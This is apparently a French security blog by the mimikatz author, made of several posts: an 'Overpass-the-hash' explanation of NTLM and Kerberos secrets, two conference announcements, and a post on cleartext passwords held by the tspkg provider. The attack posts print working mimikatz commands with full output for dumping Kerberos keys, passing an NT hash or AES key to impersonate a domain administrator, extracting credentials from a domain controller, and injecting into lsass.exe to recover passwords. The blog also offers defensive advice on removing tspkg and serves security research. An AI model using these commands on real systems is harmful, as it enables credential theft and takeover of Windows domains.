Overpass-the-hash

A quelques jours du BlackHat et de la Defcon, je profite de ce post pour donner quelques explication sur un petit billet Twitter du mois d’Avril.


(il sera bien entendu abordé la conférence « Abusing Microsoft Kerberos: Sorry You Guys Don’t Get It » avec Skip)

Pass-the-hash

Sous Windows, la technique du « Pass-the-Hash » consiste à s’authentifier sur un serveur en utilisant le hash du mot de passe d’un utilisateur, plutôt que par le mot de passe lui même.

Les bases

Un serveur s’assure de l’identité d’un utilisateur en vérifiant sa connaissance d’un secret qu’ils partagent.
Grossièrement, le serveur envoi au client une données, un challenge, que le client devra chiffrer/hasher/… à partir du secret partagé : cela devient la réponse.
Si le serveur réussi à calculer la même réponse, ou à la déchiffrer à partir de sa connaissance du secret, c’est que le client possède le même secret.

Ces secrets sont sur les DC pour un domaine, sinon ils doivent être partagés dans la SAM locale de chaque serveur.

Les secrets

Contrairement à ce qui pourrait être facilement imaginé, Windows n’utilise pas le mot de passe de l’utilisateur comme secret partagé, mais des dérivés non réversibles : hash LM, NTLM, clés DES, AES…

Selon le protocole utilisé, le secret et les algorithmes utilisés sont différents :

Protocole Algorithme Secret utilisé
LM DES-ECB Hash LM
NTLMv1 DES-ECB Hash NT
NTLMv2 HMAC-MD5 Hash NT

Dans le cas du protocole NTLM, le hash NT dérivé du mot de passe utilisateur est suffisant pour répondre au challenge du serveur.
Le mot de passe utilisateur est, lui, inutile dans sa forme originale.

Overpass-the-hash (pass-the-key)

L’authentification via Kerberos est un tantinet différente. Le client chiffre un timestamp à partir de son secret utilisateur, éventuellement avec des paramètres de realm et un nombre d’itération envoyé du serveur.
Si le secret est le bon, le serveur peut déchiffrer le timestamp (et au passage vérifier que les horloges ne sont pas trop décalés dans le temps).

Protocole Secret (clé) utilisé
Kerberos DES
RC4 = Hash NT!
AES128
AES256

Oui, la clé de type RC4, disponible et activé par défaut de XP à 8.1 reste notre hash NT!

Jouons

Ces clés sont disponibles dans la mémoire du fournisseur Kerberos.
Tout comme le mot de passe utilisateur, ces clés sont d’autant plus présentes qu’un TGT n’a pas encore été obtenu.

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::ekeys

Authentication Id : 0 ; 239946 (00000000:0003a94a)
Session           : Interactive from 1
User Name         : Administrateur
Domain            : CHOCOLATE
SID               : S-1-5-21-130452501-2365100805-3685010670-500

         * Username : Administrateur
         * Domain   : CHOCOLATE.LOCAL
         * Password : (null)
         * Key List :
           aes256_hmac       b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
           aes128_hmac       8451bb37aa6d7ce3d2a5c2d24d317af3
           rc4_hmac_nt       cc36cf7a8514893efccd332446158b1a
           rc4_hmac_old      cc36cf7a8514893efccd332446158b1a
           rc4_md4           cc36cf7a8514893efccd332446158b1a
           rc4_hmac_nt_exp   cc36cf7a8514893efccd332446158b1a
           rc4_hmac_old_exp  cc36cf7a8514893efccd332446158b1a

toutes les clés et mot de passe devraient même totalement disparaitre après l’obtention d’un TGT, puisqu’un TGT est autosuffisant pour se renouveler tout au long de sa durée de vie… – http://www.ietf.org/rfc/rfc4120.txt § 2.3

Et si nous passion le hash ?

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a
user    : Administrateur
domain  : chocolate.local
program : cmd.exe
NTLM    : cc36cf7a8514893efccd332446158b1a
  |  PID  2652
  |  TID  2656
  |  LUID 0 ; 288235 (00000000:000465eb)
  \_ msv1_0   - data copy @ 0000000000311E10 : OK !
  \_ kerberos - data copy @ 000000000035D8D8
   \_ aes256_hmac       -> null
   \_ aes128_hmac       -> null
   \_ rc4_hmac_nt       OK
   \_ rc4_hmac_old      OK
   \_ rc4_md4           OK
   \_ rc4_hmac_nt_exp   OK
   \_ rc4_hmac_old_exp  OK
   \_ *Password replace -> null

Cette fois ci le hash NT a été injecté dans le provider msv1_0 et kerberos, permettant de répondre aux challenges NTLM et d’obtenir un TGT Kerberos…

Mais il est aussi possible de n’utiliser QUE la clé AES si besoin :

mimikatz # sekurlsa::pth /user:Administrateur /domain:chocolate.local /aes256:b7268361386090314acce8d9367e55f55865e7ef8e
670fbe4262d6c94098a9e9
user    : Administrateur
domain  : chocolate.local
program : cmd.exe
AES256  : b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
  |  PID  1652
  |  TID  548
  |  LUID 0 ; 411133 (00000000:000645fd)
  \_ msv1_0   - data copy @ 0000000001675F70 : OK !
  \_ kerberos - data copy @ 000000000161E118
   \_ aes256_hmac       OK
   \_ aes128_hmac       -> null
   \_ rc4_hmac_nt       -> null
   \_ rc4_hmac_old      -> null
   \_ rc4_md4           -> null
   \_ rc4_hmac_nt_exp   -> null
   \_ rc4_hmac_old_exp  -> null
   \_ *Password replace -> null

Cette fois ci, le protocole NTLM ne pourra pas être utilisé, seulement Kerberos avec chiffrement AES256.

Des clés sur le DC

Afin de vérifier toute ces méthodes d’authentification, les DC doivent avoir sous la main de multiples clés pour chaques utilisateurs…
Nous connaissions le hash LM et le hash NT… mais comment obtenir les autres ?

Une nouvelle méthode

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # lsadump::lsa /name:Administrateur /inject
Domain : CHOCOLATE / S-1-5-21-130452501-2365100805-3685010670

RID  : 000001f4 (500)
User : Administrateur

 * Primary
    LM   :
    NTLM : cc36cf7a8514893efccd332446158b1a

 * WDigest
    01  bd9d09445aec3c116c9c8af35da604f5
    [...]
    29  d96ac7a2022d2ee01f441812e6450139

 * Kerberos
    Default Salt : CHOCOLATE.LOCALAdministrateur
    Credentials
      des_cbc_md5       : f8fd987fa7153185

 * Kerberos-Newer-Keys
    Default Salt : CHOCOLATE.LOCALAdministrateur
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
      aes128_hmac       (4096) : 8451bb37aa6d7ce3d2a5c2d24d317af3
      des_cbc_md5       (4096) : f8fd987fa7153185

Téléchargement

La version alpha prenant en charge ces améliorations est disponible : http://blog.gentilkiwi.com/mimikatz

gentilkiwi @ RMLL 2014 (Libre Software Meeting 2014)

sthack_elephant

Christophe Brocas m’a proposé un événement qui m’est un peu particulier : les 15èmes Rencontres Mondiales du Logiciel Libre (RMLL / LSM).

Mon attachement sur certains aspect à Windows ne laisse pas facilement deviner que j’apprécie la philosophie du libre ! Pourtant mimikatz l’est totalement, et opensource ;)

J’aurais donc la chance de participer à la track Sécurité des RMLL et présenterai donc mimikatz et ses nouveautés Mercredi 9 Juillet à 10:10 sur le campus du Triolet de l’UM2 (Université de Montpellier) – Salle SC002.

Au programme : « mimikatz, un petit voyage au cœur de la mémoire du service de sécurité Windows », des mots de passe, des hash, des clés, des tickets d’or… https://2014.rmll.info/conference80

N’oubliez pas d’aller voir toutes les autres conférences : https://2014.rmll.info/schedule, (et en particulier la track sécurité :P https://2014.rmll.info/theme26).

gentilkiwi @ St’Hack 4.0

sthack_elephant

Agix a eu la gentille idée de m’inviter à Bordeaux pour la 4ème édition de la St’Hack.

Je présenterai donc mimikatz et ses nouveautés Vendredi 14 Mars à 15h50 au CAPC (https://goo.gl/maps/QtwvV)

Venez assister à plusieurs conférences de sécurité et serrer la patte d’un gentilkiwi !
Programme disponible à l’adresse https://www.sthack.fr/fr/talks

J’essayerai de faire des stickers mimikatz cette fois ;)

Au programme :

Présentation de méthodes de récupération et de rejoue des données d’authentification Windows

  • Faiblesse des gestionnaires de sécurité et améliorations sous Windows 8.1 ;
  • Utilisation de moyens matériel, une solution ? ;
  • Quelques petits à-côtés pour les survivants.

sthack

Pass the pass (word)

Il arrive que j’ai le temps de lire les technet de Microsoft…, j’aurais du le faire beaucoup plus tôt !

Si vous utilisez beaucoup le bureau à distance, vous aurez déjà découvert RDCMan :

Si vous êtes un aficionados, vous n’aurez pas manqué le SSO pour bureau à distance, qui permet d’éviter de rentrer ses identifiants lors d’une connexion :

(dans les commentaires du blog MSDN, on trouve aussi les options particulières pour activer ce mode sous Windows XP SP3 et envers les serveurs non NLA et sans TLS)
Ceci fonctionne très bien vers toutes les machines basées sur NT 6 depuis des machines NT 6 ! (ou XP SP3 avec le nouveau fournisseur de sécurité RDP installé) (c’est déjà ça ;))

Sans trop chercher à comprendre le fonctionnement, j’ai tout de suite voulu tester les fonctionnalités « pass-the-hash » de mimikatz sur une connexion bureau à distance….
Sans succès :(, la connexion continue à s’effectuer avec les identifiants virtuels de mimikatz… c’est donc que ce SSO fonctionne avec un « système » autre que nos hashs préférés, a priori directement notre mot de passe courant !
Ces fonctionnalités de SSO utilisent, entre autres, un SSP (security support provider) dans LSA (Local Security Authority) : tspkg

Le provider

Ce provider n’est pas sans nous rappeler msv1_0 qui, au fil des versions, continue de nous faire profiter de quelques fonctions amusantes :

NlpGetPrimaryCredential    ; GetPrimaryCredential
NlpAddPrimaryCredential    ; AddPrimaryCredential
NlpDeletePrimaryCredential ; DeletePrimaryCredential

Pour rappel, ces fonctions permettent de récupérer les hashs LM et NTLM d’une connexion existante en fonction de l’identifiant, puis de le manipuler (réinjecter par exemple)….
rien de nouveau, c’est déjà dans mimikatz 0.x, et c’est fort amusant

Notre nouvelle librairie préférée dispose d’une fonction très sympathique elle aussi :

TSCredTableLocateDefaultCreds
*TSObtainClearCreds

* dans certains cas

  • TSCredTableLocateDefaultCreds ; retourne une structure permettant de pointer vers les identifiants et le mot de passe « obfusqué » en fonction de l’identifiant de connexion
  • TSObtainClearCreds ; a été une bonne piste de départ, cette fonction retourne la structure finale avec le mot de passe en clair (!), en réalité cela repose sur : LsaUnprotectMemory

Problème

Ce provider est actif par défaut sous les NT 6 ! Et le stockage des mots de passe est effectué même si le SSO n’est pas activé !

pass-the-pass

Téléchargement et fonctionnement

Une livraison de mimikatz en version « pre-alpha » pour l’occasion :

(plus d’information : http://blog.gentilkiwi.com/mimikatz/librairies/sekurlsa#getLogonPasswords et http://blog.gentilkiwi.com/mimikatz/librairies/sekurlsa/tspkg)

Petite parenthèse pour les Windowsiens prudents (Aurélien C), il faut faire attention à débloquer le fichier téléchargé, sinon les fichiers décompressés auront du mal à fonctionner :

Les fonctions évoqués plus hauts, ne sont bien sûr disponibles que sur les systèmes NT 6 ! (ou XP SP3 sur lequel le provider tspkg aurait été activé)

A exécuter après avoir obtenu des droits administrateurs (ou system) :

privilege::debug
inject::process lsass.exe sekurlsa.dll
@getLogonPasswords

La commande privilege::debug n’est pas obligatoire si vous êtes déjà system.

Améliorations

par ordre d’importance

  1. étudier une authentification SSO RDP sans mot de passe en clair (avec un challenge/response par exemple)
  2. ne pas stocker directement un mot de passe avec comme seule protection réversible LsaProtectMemory (ça fait stagiaire étudiant)
  3. rendre le stockage de données de connexion dépendant de la stratégie SSO
  4. stratégie devant être au niveau utilisateur, pas au niveau machine… les identifiants appartiennent à un utilisateur, pas à une machine…

En attendant, il est URGENT de retirer le provider tspkg… surtout si vous n’utilisez pas le SSO du RDP !

Pour cela, il faut passer par le registre :
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa, valeur Security Packages et enlever seulement la ligne tspkg

ssp_tspkg
et redémarrer…